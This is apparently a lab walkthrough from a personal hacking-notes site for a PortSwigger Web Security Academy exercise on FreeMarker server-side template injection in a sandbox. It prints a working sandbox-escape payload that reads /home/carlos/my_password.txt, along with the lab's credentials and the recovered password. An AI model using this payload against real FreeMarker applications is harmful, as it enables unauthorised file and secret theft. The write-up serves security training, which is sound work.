> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/ssti/ssti-in-sandboxed-environment.md).
# SSTI in a Sandbox Environment
SSTI in a Sandbox Environment notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Server-side Template Injection in a Sandboxed Environment
This lab uses the **Freemarker** template engine with a poorly configured sandbox, allowing a server-side template injection. / Purpose: to bypass the sandbox to read the `my_password.txt` file in Carlos' personal folder, then submit its contents.
Provided credentials\:/ `content-manager: C0nt3ntM4n4g3r`
#### 1. Check Code Execution in Template
We first test if the engine interprets many Java expressions in the template:
```python
${7*7}
```
The calculation is interpreted, which confirms the presence of SSTI with server-side code execution.
#### 2. Turning the Sandbox and Reading the Sensitive File
To get out of the sandbox and access the file system, we use the `product` object already present in the context of the template and go up to the underlying Java classes to read the Carlos file directly:
```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
This expression returns the contents of the `my_password.txt` file as decimal values (byte codes).
3/. Conversion of decimal values to text
The output obtained is a series of decimal numbers:
`100 50 110 114 98 112 109 53 98 117 99 117 122 111 99 106 101 101 54 98`
Converting these values to ASCII results in the following password:
`d2nrbpm5bucuzocjee6b`
---
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